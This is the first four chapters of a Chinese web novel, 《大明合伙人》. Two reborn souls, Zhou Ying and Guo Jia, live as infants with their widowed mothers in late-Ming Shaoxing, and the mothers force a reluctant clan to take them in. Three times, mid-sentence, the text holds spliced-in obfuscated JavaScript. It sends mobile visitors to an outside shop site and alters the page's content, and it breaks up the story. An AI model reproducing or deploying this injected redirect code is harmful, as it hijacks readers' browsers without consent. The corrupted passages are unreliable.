《大明合伙人》 1. 第 1 章 万历三十三年,春。是夜,风喧嚣,雨急骤。 一艘乌篷船,于江面摇曳伶仃,狂风之下几乎见不着船上飘渺的灯火。 “船家,敢问还有多久才能到岸!”那怀抱着婴儿的妇女刚一开口,嘴里就进了冷冰冰的雨水。 披着蓑衣的汉子,手上拿着船桨,刚要回头便觉船只猛的摇晃。 坐门口些的另一个妇人忙伸手一抓,这才将将抓住船夫的身子。 这一船人不多,约莫也就三四个,不过多少面如槁灰,平日里清亮的黑眸,此时因为一连赶了数日,早就没了清明。 “再过十二里,往前!前头就靠岸了!”那船夫擦了把自己脸上的雨水,也是咬着牙手抄起船桨猛划。 手沉如铁,青筋毕露。 这鬼老天的,刚刚还是万里无云的晴黑夜,怎的这不到半盏茶功夫,就下起瓢泼大雨了! 船里头一群人心惶惶的。 被妇人搂抱在怀的小婴儿,却在这瓢泼大雨的黑夜里头,睁开了一双眼睛。 他注视着眼前一切,黑眸里透露出十足的茫然以及不解。 什么情况?这是哪里? 也就在他刚要开口咿呀之时,却突闻一侧,哇哇大哭陡然响起。 顿时惊的船里几人猛的坐直身体,不少视线顿时投射而来。 于是那方才扶了一把船夫的妇人,面上带着几分憔悴和尴尬,手上熟练的哄起了孩子。 但这娃娃,素来不爱喊叫的性子,今日不知怎么了,反倒是越哄越哭了! “二嫂,娃莫不是饿着了!” 这话是抱着周盈的女人开口说的,周盈懵的摇头晃脑,但奈何脖子太短,够不着,也瞧不见隔壁那哭的上气不接下气的小娃娃到底什么情况。 “哇——呜哇哇—”周盈你这个大坑货! “哇哇哇——”我怎么变成奶娃娃了! “呜哇——”我的一世英名! “呜呜唔!”别过来!救命——这个哭喊声成功被堵住了。 且看那妇人脸上神情颇为不窘迫,亦有些不自在的侧了侧身,船里头几个也都是妇人,自然是不会说什么。 周盈只觉这哭声颇有些崩溃意味,听的他心里头那是个慌。不免颇有心虚,谁知道这次穿越,出了点意外呢。 好歹也算……平安落地了不是? 心里想归想,但这人生地不熟的地方,他还是有些担心郭嘉的情况的。 于是女人怀里小婴儿捣鼓了一下,给自己找了个舒坦的位置,转过头去就瞧见那坐在边上的妇人侧身,半挡住了孩子的轮廓。 几可见那空隙之间,郭·虎落平阳·婴儿·嘉,目露“凶光”的,瞪了一眼周盈。 嗯……看来确实饿了,都不哭了。 也不等他多思忖什么,周盈便觉搂抱住他的手臂紧了紧,随后便见着一双透亮乌黑的眸子。 并且眸子里透露着担忧和关心。 “饿着了?” “……”呃呵呵。 他堂堂执掌人间兵戈,镇守人族气运的周盈剑,居然也有被凡人喂奶的一天! 简直……简直稀奇。 两个连哭带闹(没有周盈)的娃娃成功被吃的堵住了嘴之后,船里倒也逐渐安静了下来。 那船夫,听着声音倒也没回头,只顾着往前划桨,雨点倒是小了一些,这会儿的功夫,眼前的岸倒是逐渐清晰了。 “这鬼天气,也是难为你们了!要不是知府催得紧,迁富的船队就差你们这几户,也不至于这紧赶慢赶的。” 此话一出口,船里几个人心里也不是滋味,氛围便一时间就沉了下去。 周盈皱…哦不对,他现在还没有眉毛。于是一用力,只挤出了一脸奶膘。 船里抱着郭嘉的那妇人,几乎是船夫开口那一刻,就开始低声啜泣了起来。 这会儿功夫,周盈倒是借着微弱灯火,把几人瞧了个大概。 那妇人身着虽为粗布麻衣,手腕上却是带了个镶金玉镯,头发盘起不施加点缀,却也是个清丽面容。 应当不是普通人家。 那边呸呸几声的郭嘉,这会儿心里直恼火,不过好歹是记着事情,也就安静下来听着船里动静。 “娘子莫哭了,这是上头催派的事,咱们小老百姓的,朝堂怎么说,我们也就只能怎么过日子。” “绍兴府比起杭州,也不差!以后就当这儿是自己家就是了!” 船夫跳下船,手拿着桨,边说着,边拉起绳索固定住船只。这会儿功夫雨已经停下。 “我们几个都是妇道人家,哪里知道别的事情,好歹…让我们留在杭州,把孩子养大再说。”擦了泪的妇人,也就是被周盈如今这具身子的母亲,称呼为二嫂的人。 姓郭名怡,原是杭州仁和县令之妻。她低语间带着几分悲怆:“夫君刚正,却落得……累及家小飘零……” “唉,这都是老爷们的事。”船夫闻言叹了口气。 瞧见几个坐在船里的妇人也是可怜,不免多嘴几句。 “咱们平头百姓,能顺顺当当活命就是造化。娘子们想开些,绍兴也是好地方,安安生生把孩子拉扯大才是正理。” “……”几人再无多话。 周盈扭头看过去,却见如今还是个奶娃娃的郭奉孝,这会儿打着哈欠,一副眯着眼昏昏欲睡的样子。 不过见着他,马上就睁大了眼睛,显然是有很多话想跟他说。 嗯…大概率是更想拳脚比划一下。 也就此时功夫,靠岸的乌篷船轻轻一震。 不远处,岸边由远及近,几点灯火摇曳,缓缓步行而来。却有一道尖锐细嗓刺破夜空:“可是杭州来的最后几户?堂尊老爷久候多时了!” “嗯?怎么还有两个奶娃娃?” 周盈被这光晃得眯起眼。此时此刻,他不免第一次的,对这个时代,生出几分未知的警觉。 几人从船上下来,周母,也就是周盈母亲,她脸上带着几分警惕,搂抱着怀中周盈,目光倒是锃亮几分。 只看了几人一眼后,见着一人为首,穿着宫里太监服饰胸前绣鹭鸶图纹,细眼上挑,白面在灯火映照下泛出几分青来。 颇有獠牙厉鬼之色。 “烦请通报一声,杭州前仁和县令之妻、之弟媳,一并抵达绍兴。” “不知我等今日住所何处? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542602|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 公公可否引路?” 周氏,也就是周瑶,实为杭州当地富商大户之女,其丈夫为入赘之婿,奈何兄长牵扯进官场斗争之中。 如今抄家实为一锅端,将周氏也全盘牵连。 周盈窝在怀中听其声音,不免心中叹息,看来这一回投胎的,也不是个轻松身份。 那太监眯起细眼,瞧了一番几人,随后却是猛的一笑道:“尔等罪臣之妻妹,如今上头开了天恩,宽恕了你们的罪,却也是看着这两个小娃娃年纪小啊!” “这才多大啊……啧啧”那太监叹息啧啧,装出一副怜悯姿态。 “要是没了母亲照拂,怕是要早早夭亡了!” 此话一出口,周盈猛觉不妥,便是要下意识起身开口,奈何他现在还是个娃娃,一扑腾之下,反倒是引起了那太监注意。 “嗯?” 周瑶手摁住周盈的背,不让他乱动,微蹙眉间,目光一转,心知这混账阉人,是来落井下石讹人来了! 她虽妇道人家,但家里好歹也是经商之家,这小地方的官官道道,便是听父亲说也是说起过不少的。 朝廷为了管住地方的事情,皇帝多数会派遣自己信得过的宫中太监,来当地监督,此为镇守太监之职,虽无品级,却权比三品。 这人大约也是此地镇守太监手下之人了。 郭悦闻言要开口,便直接被周瑶打断道:“自然,这些规矩,我们还是知道的。” 她说着,就伸手从袖子里掏出布包,手上顿了顿间,瞧见一侧上前侍卫,这才送出去。 “这些算是我们的孝敬钱,也盼公公美言几句。我等不过是乡野妇人,如今也只求安心过日子,把孩子拉扯大。” 那太监手掂量了一下布包里装的银两后,不多时便神色变得舒展了一些,侧头瞥了一眼一侧小太监,声音也柔和几分:“去,带着她们去住处吧,别饿死了冻死了,不然不好交差。” 这真是虎落平阳被犬欺! 郭悦闻言更是咬唇,眼眶一红。刚想说什么,怀里便听“咿呀”一声。 低头一瞧,原是方才一直没什么动静的乖巧孩子,如今睁着一双水汪汪的眼睛,带着几分纯洁无瑕的单纯。 “m……嘛。” 周盈:……?? 几人的注意力也都被吸引了,郭悦方才想开口说的话,就全都咽回肚子里了。 一番的波折下来,周盈和郭嘉总归是在绍兴落下了根。 进了住处,这是个还算干净的地方,不过多日不住人,积了些灰。 郭母和周母将屋里头打扫了一番,两个失了丈夫的妇人,如今却是要相依为命了。 这天漆黑,刚过一场大雨,却有一轮明月皎洁,倒是让屋里头月光亮堂了些许。 周盈看着两个大人在那忙活,扭了扭头,见着边上躺着的郭嘉。 对方眨眨眼,试图伸手往他身上爬,那小拳头,显然跟绣花拳头一样,软绵绵的。 郭奉孝曰:今日不揍你,我便不姓郭! 两个婴儿在月光下无声‘搏斗’着……这,就是未来,要搅弄的大明朝廷不得安宁的,两个祸害。 亦称为:双狐戏明记。 2. 第 2 章 初春的风,多少还有些湿寒,再加上绍兴地处之环境,从而致使周盈郭嘉二人,刚落脚,便遇着了连雨天。 妇人们在屋里筹划盘算着过日子的银钱。前面说到,周母本为商贾之女,家里也算富裕,本一世荣华富贵有余,奈何自家二舅牵扯进来官场斗争。 二嫂文静贤淑,性子柔弱,这一番遭遇下来,颇受打击,于是周瑶便不得不努力撑起这个家。 “二嫂,咱们手中盘缠如今已不多见,若是只顾坐吃山空,怕是难将两个孩子拉扯长大。” “再说,以后若要将盈儿嘉儿送去读书,更是要花费不少银两,咱们家里头满打满算,也不过些许家当,可得想个法子有些收入才行。” 坐在一头的郭母脸色憔悴,闻言停下来手里缝衣服的动作,吸了吸鼻子,叹息一声道:“你说的倒也对,只是我们刚落地绍兴,你兄长又是被那莫须有的银矿害的…你我妇道人家,此事还需商议。” 趴在床上的周盈,听着屋里头两个大人的对话,再转头一看,郭奉孝此时目光透露鄙视和无语。 郭嘉:你看看你,选的什么破着陆点! 周盈:此为意外,不要慌张。 因为问题有点棘手,慌也没用。 郭奉孝深叹口气,豆大点儿的奶娃娃,长了奶膘的脸却皱皱巴巴,眼睛里头透露出几分年少老成的神色,这看起来...实在滑稽。 周盈没忍住。 “咯...” “..……” 郭奉孝目露凶光了。 周盈侧头而去,憋笑一番,心里则是开始盘算起接下来要怎么办。 根据两人原本的想法,是准备找个富贵人家子弟附身的。 俗话说得好,富贵人家好办事嘛,不过就目前情况来说……确实是富贵人家。 抄家前也算是富贵人家嘛,这个是不争的事实。 但实在是人算不如天算,没算到这个富贵人家,竟是正在流放路上。 是的,周盈听了几天功夫,大约理清楚了如今情况。这原先的仁和县令是个清官,在地方也算是颇有名声,奈何不知怎的,突然传出此地有什么银矿。 这事儿闹的有点大,当朝陛下知道了,便差遣了宫中太监来。 但仁和县哪有什么银矿?纯纯是有人找了个由头发难。且迁富说的是好听,实则是拿捏了几个人质在绍兴看着呢。 若不是如此,方才那太监为何如此嚣张?卷进这种大案里的人,便是诛九族都不够的。 但奇怪的便是,如今周盈和郭嘉二人的生身母亲反倒是安然无恙。 这一番琢磨下来,周盈却觉这事儿没那么简单。没猜错,当今内阁首辅沈一贯便是浙江人,亦为浙党领袖,而今东林党崭露头角,其余各党心思各异。 也就是说,明末党争之苗头,却正是在此时逐渐发酵的。 一番思忖间,倒忽觉衣服被扯,转头看去,却见郭嘉眨了眨眼。 郭嘉:如今你我也是虎落平阳,我瞧这两个妇人中,你母亲倒是个能办事的。 周盈:…… 他一时间没反应过来,忘了自己现在是个普通奶娃娃了。天生地养的周盈剑,突然有了个便宜生身母亲,实在是稀奇。 郭嘉:咱俩来这儿亦不是为了游玩,早点完成任务早点回去,我看这地方也是寒碜,实在没有未来有趣。 嗯……郭奉孝自打上辈子闭眼睁眼,被周盈提溜到未来社会后,那可谓是混的风生水起。 当然,周盈也不是纯让他玩的,以周扒皮的性格作风来说,凡事做出来都是有代价的。把郭嘉带到这里头,也是有任务在身,此话暂先不表,当务之急是快些解决生存问题。 周盈闻言间,神情微变,凑近了一些,于是两个奶娃娃,在床上趴着,你在左我在右,就这么的……开了落地明末后的第一个会议。 惊雷之间,雨点倾盆,昏暗屋内乍亮,照起两道年少老成的身影,满嘴都是…咿咿呀呀。 郭嘉眨巴眼睛曰:此局根在朝廷,矿税之祸,浙党之争,你我皆知为沉疴。奈何如今口不能言,足不能行,空有满腹经纬,如何用之? 虽说郭奉孝刚落地的时候是大崩溃状态,但他脑子是真的好使,如今事情都成定局了,怎么把这个天崩开局盘活才是关键。 周盈凝神,闻言瞄了一眼不远处两个正在盘算如何做些小本生意的二人。 周盈曰:虎落平阳,自是只能幼虎匍匐,当务之急先助两家母亲在此立足。周瑶有急智,商贾人家应有积蓄,再者,待你我二人长成,这“矿税”之冤,未尝不能成切入时局的钥匙。 郭嘉曰:好想法,但如何助力? 周盈曰:…… 坏了,这还真是问题,两人如今连开口说话都不能,更别提助力了。 郭嘉见他沉默,仰天蓦然叹了口气,颇有几分生无可恋之意。 苍天啊,这坑爹队友,何时能让他少操半分心思。这会儿功夫,郭奉孝便也明白了周盈这家伙,在人间时时处理的都是什么烂摊子,什么天崩开局了。 周盈颇有尴尬,这也不是他想的嘛……穿越落地,不能随便给你找个身子,总得匹配合适的人选。 而周盈剑使命就是乱世入局,自然每回拿的开场剧本都不怎么样。 本来这次他也是想着一个人过来的,奈何巡阴司中人不尽赞同,郭奉孝自告奋勇,于是两人一拍即合。 也就在这个档口功夫,郭嘉借着转身的动作,手上银镯却是猛地磕碰到了床上。 两人一对视,颇有脑筋急转弯。 周瑶这厢正眉头紧锁着,思忖如何做个小本买卖的生意呢!毕竟养家糊口的事儿比天大,自己这个二婶性子文静,好说话是个优点,但优柔寡断就是缺点了。 刚想开口再说点什么,便听床上“哇——”的一声哭嚎。 心情沉重的大人们顿时转头看去,见床上原先安静的两个孩子,不知怎么的扭打在一起了! 且看上头那个,左勾拳!嘿,右勾拳——绣花拳头跟棉花似的,????两下就听见郭嘉小儿咿咿呀呀,手里攥着什么东西,朝着周瑶儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542603|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 猛地甩去! 也不见那小周盈怎么的,身子猛地一晃,直勾勾朝着床面摔趴了下去,那划过空气的东西,便朝着大人们扑面而来。 “当啷——” 事情太紧急,孩子闹腾,郭母也是猛地起身就朝床边走去,那丢在地上的玩意儿被周瑶捡起,原是个银镯。 见着里头刻字清晰,花纹贵重,显然不是一般银器。 好歹是商贾家里出来的女儿,周瑶见着这东西,不免皱眉。 “不哭不哭,莫怕娘在这儿呢。”郭怡心疼地抱起孩子,窝在她怀里那个小不点儿,皱着一张苦瓜脸,沉默深叹一口气,颇有种,破罐子破摔的感觉。 周盈看得有些乐,不过目光一转,就瞧见起身的周瑶这会儿拿着镯子走过来。 “二嫂,这镯子可是嘉儿手腕带的那个?” 这话出口,郭怡一愣,看了看便抓起郭嘉那小莲藕般的手臂一看,以往戴银镯的雪白手腕都起来一圈红痕呢,看起来怪心疼人的。 “哎,还真是!稀奇了,以前都带的好好的,今天怎么的掉出来了?” 郭怡接过,皱眉细思。周瑶走过来搂抱起爬在床上的周盈,低头间,瞧着那双黑汪汪的大眼睛透露出几分单纯,奶膘的脸上一副无辜茫然,仿佛她刚才所想都是错觉。 周盈:阿巴巴巴巴… “我记得,这镯子是当日嘉儿满月酒的时候,你娘家人送的?”周瑶脑子一转,如灵光乍现。 “当是如此?可如今三叔家如今也不怎与我等来往了,你我现今身份敏感,不可随意牵连人家。” 窝在郭怡怀里的郭奉孝听了恨不得开口说话!咿咿呀呀间手上扑腾,吓得郭怡差点没抱稳当! “哎哟这孩子!劲儿真大!” 周瑶见着乐呵,脑子转得快,眼里头已经露出来几分灵精光来:“如今三叔不就在绍兴?虽说你我是敏感身份,但我们两个孤儿寡母,讨个生活,若是连这,官府衙门都不给,到时候逼死了我们,怕也有人要掉脑袋。” “……”郭怡皱眉。 周瑶又说:“矿银之事,多是莫须有,但为何如此大费周章牵扯出个莫须有的事儿来,便是其中理不清的厉害了。” “你是说……有人在保我们?” 郭怡这话说出口,屋里头都安静了几分。 周盈心道,这个生身母亲倒是个厉害人物,若非商贾出身,必然是有一番能耐的。 但本朝自太祖朱元璋时期便鄙视商贾之流,更甚的,商人连丝绸制衣都不能穿,足可见其对商人的态度如何了。 不过在这会儿年代,这种禁制早已是名存实亡,但士大夫依旧轻视商人,这是自古以来的事情。 说到这话头,周瑶手搂着怀里孩子换了个姿势:“二婶,咱也不说些别的,往年二哥当了县令的时候,三叔家对你们如何?如今又如何?” “这世道人心叵测,有利益的时候,趋之若鹜。落了灾遭了殃,便大难临头各自飞。” “但说到底,总归是亲戚,乡里乡外,总得见人不是?” 3. 第 3 章 郭怡闻言若有所思,心中不免有些担忧,如今二人身份敏感,她是怕登门了,对方闭门不见,到时候真是自讨没趣了。 见对方如此,周瑶更是开口:“二嫂,仔细想来,如今你我二人无依无靠,若不倚仗宗法祖老,两个寡妇如何安生?” 这话戳中郭怡心头刺,她猛地抬头,咬着唇挣扎了一会儿:“好,等明儿雨停了,咱们走一趟!” 于是一番语落,敲定接下来的打算。打着哈欠的周盈,窝在周母怀里,如今可谓是神志昏昏,困不能已。 至于郭嘉?这家伙早睡熟了。 婴儿的身子,实在不足以支撑两个成年人灵魂的脑力运动,听到两个大人计划完毕,周盈也算是松口气,眼一闭,睡着了。 第二天一早,放了个大晴天。 周盈是打着哈欠被周瑶抱起来的,因着现在家里头也没别人,尚且年幼的孩子只能母亲亲自照看,不过今日周瑶目露神光,刚给小不点周盈穿上衣服后,便低头振振有词道:“盈儿,咱娘俩要想在这地方活下去,非得有些寻常法子不可。” “待会儿,娘亲要做个事情,乖宝配合娘亲好不好?” 才一岁不到的小娃娃听到这话,仿佛就跟没听到一样,瞪着两双水汪汪的大眼睛:阿巴巴! 周瑶哭笑不得:“欸,算了,跟个小孩说什么呢。” 于是周盈就被抱在怀里,用绳子捆着襁褓捆在了周瑶胸前,两人双双出门了。 至于郭怡和郭嘉,一大早就离了家,不知作甚去了。 一边颠簸,周盈一边心里头想,这周母倒还真不是个善茬,不过这样也好,如今世道一个善良而柔弱的人,是很容易被吃干抹净的。 人还是要不讲理一些的好。 一路人流间,周盈打了几个哈欠,瞧着这方向,便猛觉不对。 “咿呀…咦!” “乖,莫动。” 眼瞧着周瑶朝着衙门方向走去,这会儿周盈也是着急了,这便宜娘亲,你是不知道咱们如今乃罪臣亲眷身份吗!这要是去衙门击鼓,准得出事! 周瑶这会儿也是被怀中孩子动静弄的不得不停下脚步了,她皱眉稀奇,怎平日安静听话的崽,这会儿偏闹腾呢? 路上人多,见周围看过来,且见前边不远处吹拉弹唱的迎亲队伍,周瑶不得不靠边走。 “你娘要去衙门借势,听话,昂。” “……” 周盈此时恨不得自己马上长大,奈何事与愿违。 且看周瑶脚步不停,此时此刻,憋急眼的周盈只能… “哇——!!”大哭惊天动地了,手舞足蹈恨不能开口。 且说回另一头,郭怡带着郭嘉出门找上徐三叔家,果不其然的,便吃了一记闭门羹。 “三叔,是我呀,我是怡儿!”说着话的功夫,抱着孩子的妇人手拍打着大门口。砰砰砰几声动静下,屋里头是全然没什么反应。 “三叔,求您开门,我知道咱们郭氏在当地也算有头有脸的人,如今家里遭了难,我们娘俩也是实在没办法了,这才投奔来的!” “我保证,以前的事情跟你们都没关系,我们只求宗族庇护,好好把孩子养大!” 郭嘉心里都郁闷了,你这样敲门不是明摆着说:我上门来砸场子了,快开门! 投奔也不是这么个投奔法子呀。 好在是路人围观渐多,引起不小非议。郭嘉心里盘算了一下,要是没猜错,周盈那边那个周瑶,此时应当也是赶过来的路上了。 就他推断来说,这次能不成事,得看周瑶能弄出什么大动静来了。 郭怡泪眼汪汪,吸了吸鼻子,转头见着围了一群人,颇有些臊得慌,她性子文静,还从没做过这样的出格事情,一时间便咬着牙,搂着怀里孩子,深吸一口气。 转身走至门口,微顿间,可见郭怡身体微颤。 随后,在众人惊愕目光之中。 掀裙、旋身。 下跪! “哎!这、这……”这一下顿时激起人群一片喧嚣。 “造了孽了,这徐家怎如此欺负孤儿寡母的!” “我就说这郭家人,不是什么好东西!” “我瞧着都臊得慌,谁做的出这种事啊!” 人群声音渐大,郭怡却是撑着脊背一言不发,眼眶微红,心中不免生出一股愤懑和不甘,她何时受过这种屈辱… “m、嘛……妈。” 一声婴儿咿呀,唤醒母亲愤怒之情。 郭怡猛地惊醒,瞧见怀里小娃娃,一双水汪汪的大眼睛一眨不眨,仿佛一汪黝黑深泉一样,一时间竟有些不知所措的尴尬。 做大人的,怎么能在小孩面前如此失态… “没事,娘不会让你风餐露宿的。” 郭·小娃娃·嘉:欸… 瞧见这郭母如此卑微,低声下气,便本不是这个时代的人,郭奉孝心里难免也有些触动,倒真是为母则刚了。 “娘子,起来吧!这郭家看来是不会开门了!”有人不忍心,便这般开口。 “是啊!俺们街坊邻居的,你便是在附近住下,能帮俺们也帮你!” “起来吧!别跪着了!膝盖金贵呢!” 郭悦沉默着,怀里小婴儿则是皱起了一张脸,心想着如今这围观群众也够多了,怎还不见周瑶和周盈影子?这二人去了何处? “俺是看不下去了!不就是收留个寡妇吗!咱踹了这郭家大门!到时候让官府衙门老爷评评理!”有个年轻气盛的,手撩起袖子,便上前一步准备动手。 也就在此时,突闻一阵敲锣打鼓声音,众人目光全部都被吸引了过去。 郭奉孝转头瞧去,差点没乐呵出声来。 只见那不远处街道口,出现了一支迎亲队伍,排场极大! 而为首的那人骑着马,却正是……抱着周盈的周瑶,这妇人骑马倒是骑的顺溜,马上还挂着一个红绸缎做的大红花,左右两侧的迎亲队伍一路簇拥。 周瑶瞧见不远处跪地的郭怡,便直接大喊道:“前杭州仁和县县令之妻,绍兴府山阴县郭氏女郭怡归宗访亲!” “郭家还不开门?!怎么!是觉得这县令之妻的名头,还不够响亮吗!” 她说着话的功夫,手一挥,一群人就走上前几步,围着郭母大门口开始吹吹敲敲,霎时间震天响一般,这个街道可谓是热闹非凡了! 不远处几条街的人,都被吸引了过来,一下子,把这路都围了个满满当当。 嘿,稀奇,真稀奇! 骑马迎亲的寡妇,敲锣打鼓大张旗鼓迎亲的寡妇! 两个寡妇! 闹得郭氏门口不得安宁了! 周瑶一牵缰绳,拽住马匹,随后给郭怡使了个眼色,朝着大门口一笑,道:“开——门!” “开门!开门!” “开门!” 一时间,山呼海啸,郭氏门口如临兵戈一般,连过路的县令都要抖三抖。 县令也确实抖三抖了。 一侧躲在人群中,身着蓝色靛青官服的山阴县令,咽了咽口水,扶正了一下自己的官帽,心想着,上头叫他看顾紧这俩寡妇,却也没跟他们说,这俩寡妇能闹出这么大的动静啊! “大、大人!现在怎么办?要不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542604|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' …派官兵把这俩闹事的抓起来?” 跟在一侧的副手开口,目露狰狞,手上比划了个动作。 “啪——!”一记耳光响起。 “掉脑袋的事情你去做!本官可不干这种混账事情。” 山阴县令深吸一口气,手一拂袖。 “去,敲郭氏的门去。” “啊、啊?”不是……郭氏好歹也是当地有头有脸的人物,这、这不合适吧? 副手看了一眼目露冷色的上司,猛的闭上嘴。 这边,擦着泪水,抱着孩子站起身的郭怡深吸一口气,看了一眼骑在马上的周瑶,心中不知是何感想。不过周瑶也不甚在乎了,听到一些对她指指点点的口舌之声,她也全不理会。 襁褓中的周盈这次不再阿巴巴,眼里全然是赞叹。 其实方才周瑶准备找不寻常法子的时候,周盈一时不太明白对方要做什么,见着对方准备往衙门走,更是吓出一身冷汗了。 丢下面子大哭大喊之间,好在偶遇了一队解散的迎亲队伍,周盈急中生智,直接一抓周瑶衣襟曰:阿巴巴巴!阿巴! 呃……虽然说,婴儿说的话有些糊里糊涂,但周瑶显然是疼孩子的,听到动静就停下了脚步。 于是就出现了如今这一幕。 聪明人不少,但能母子心有灵犀,且一点就通的,没有几个。 周盈心中暗暗记下这位生身母亲,实非凡人,亦可以说,是他二人如今年幼之时,唯一的庇护者了。 母强则子旺,子旺则护母。将来时,必要报答此番。 当然,在官兵敲门之下,郭氏再也不能大门紧闭了。只瞧那打开一道缝隙的大门里头露出一个脑袋,见着外面人群,那脸都煞白了。 “大、大人…你们这、这…”下人被官府衙门的人吓住了。 “少废话!开门!还要堂尊请你们家老爷吗!” “不敢!不敢…” 屋里头,刚听到消息的郭三越猛地从椅子上跳了起来。 “你再说一遍!” 那满头汗的下人半鞠躬着,咽了咽口水支支吾吾道:“那、那周氏不知从何处找了迎亲队伍,敲、敲锣打鼓骑马直接堵在门口!结果动静太大,引起了县令大人注意…” 郭三越闻言皱紧眉,在大堂走来走去,一时间屋里头的几个人都不敢说话。 也就一个成年力壮的,年轻郭氏人开口:“爹!那郭怡都嫁出去了!现今还是罪臣之妻,咱们郭氏要是真收留了,就是引祸进门了!” “小叔说的是实在话,但我看怡儿也实在是艰辛,不若……”这开口的是个年纪稍大的女子,她叹了口气。 “给点银子薄田,让孤儿寡母的,也有个地方安住。” “哼,此事我不赞成!” 郭三越被吵得头疼,顿时开口:“行了!” 他一开口顿时安静了,屋里几人神色不一。 郭三越皱眉继续道:“赶快去把人接进来!还愣着做什么!” 那下人闻言刚要连滚带爬出去,却听一道声音响起。 “不用请了,人,我带来了。”只见一道穿着靛青官服的中年人,大摇大摆走进了大门。 此人便是方才的山阴县令,姓沈名致意,万历二十五年举人出身。 身后跟着的就是周瑶和郭怡了,两人各抱着孩子,见着了郭三越后,郭怡下意识要行礼,反倒是被周瑶阻止了。 两个身处吃瓜观赏佳座的小娃娃,此时此刻也是目露精光!竖起耳朵准备观摩这期待已久的省亲大戏。 郭嘉:好瓜我吃吃吃。 周盈:…… 4. 第 4 章 “哎呀!堂尊大人,什么风,把你请来了?”郭三越顿时眉开眼笑,朝着几人走了过来,脸上一改方才阴沉,仿佛从未发生什么一般。 郭奉孝:这家伙准备攀近乎,我打赌,此二人私底下必然私交甚密。 且看被尊称的沈县令一摆手,脸上一副秉公办事的表情,严肃的捋了捋袖子,便开口道:“这次来,是听闻衙门外有人喊冤,我作为山阴县父母官,自然是要替陛下看顾地方子民。” 这话说的妙,一句话撇清自己关系,反倒是抬举成了关心民情的好官了。 周盈靠在周瑶怀里头,心想这有点不太妙,眼瞧着这县令明摆左右不想得罪,只怕又要开始和稀泥了。 果不其然的,听闻此言,郭三越便呵呵一笑:“方才发生的事情,我也刚听到,这不,方要派人出去接人呢!” 说着话功夫,他转头看了一眼郭悦和周瑶:“欸…你们的事情,我也都知道了,难为你们了。” 叹了一口气,话锋一转:“咱们郭氏虽不是什么大户人家的,但挤挤,好歹也是能挤出些月钱,这样吧,我叫管家算算,就算……一月给多少钱,合适些。” “……” “……” 郭嘉闻言,实在是有些不舒服。说实在的,出身颍川郭氏,当年他虽年幼,家里却也是不缺吃穿用度的,在汉末那个年代,哪里见到过如此虚伪又让人觉得龌龊的官僚和乡绅?怎么都姓郭,这个郭和那个郭半点都不一样,简直丢郭姓脸面! 他翻了个白眼深吸一口气,心想这回来的地方,还真是有够让人糟心憋屈的。 这地方的皇帝,可真是荒唐又没用。 郭怡顿时就有些急了,她眼眶一红,本想上前一步,却被周瑶开口打断:“三叔。你既然是二嫂的三叔,我便也尊称你一声三叔吧。” 她声音有力,目光透露出几分失望和无奈:“我们妇道人家,也不懂什么大道理,只知道算账过日子,您说给月钱,这是郭氏的恩德,我们感激。但这笔钱,给到几时?若是盈儿、嘉儿生病了,请大夫如何?日后读书的束脩,又如何算呢?” 周瑶不愧商贾之女,一笔账算得清楚明白,顿时把几个人算噤声了。 而后她调转方向,却是朝着沈县令道:“县令大人,烦问,替陛下看顾子民,那么从孝道、伦常来讲,郭氏女携子归宗,是否天经地义,是否符合人伦?” “若郭氏将骨肉至亲拒之门外——”她声音猛的上提,且深吸一口气,皱眉道:“流传出去,不知是否合乎陛下…重孝道、伦常之教诲?” “是否有损当地教化之风?” “若百姓在父母官眼前,食不果腹,无地可住,无衣可穿,幼子无病可看,无书可读,是否是,县令之过?!” “……”一时间屋内众人神情多变。 也就这时,一直沉默的郭怡突然抱着郭嘉站出来,神情有些委屈道:“三叔,今日各位宗亲都在。我郭怡也不要什么月钱,只想问一句:郭氏祠堂,可还认我父亲这一支血脉?还认否…我儿身上流的一半血脉?” 郭嘉闻言,颇为嫌恶的皱起脸:谁要认,呸呸呸,恶心。 不过他心里活动没什么人知道。 “若认,恳请给我们母子开祠堂,给个交代,若不认……” 郭怡颤抖着唇,颇为有勇气的开口道:“我立即走,从此与山阴郭氏恩断义绝,他日我儿长大,我也只告诉他,他父系清流,母系…无根!” 此话如哄堂一炸!炸的郭嘉都懵了。 “郭怡!你满口胡诌!”有人猛的拍桌起身,指着郭怡开口。 “我只不过妇道人家,说的也是妇道话。”郭怡不惧,实则脊背全是汗水。 “你——” 霎时,“哇——!”一声响起。 不要误会,不是郭嘉哭,是周瑶怀里那个奶娃娃,突然便哭了,哭的涕泗横流,泪眼汪汪,哇哇大喊间,简直是肝肠寸断。 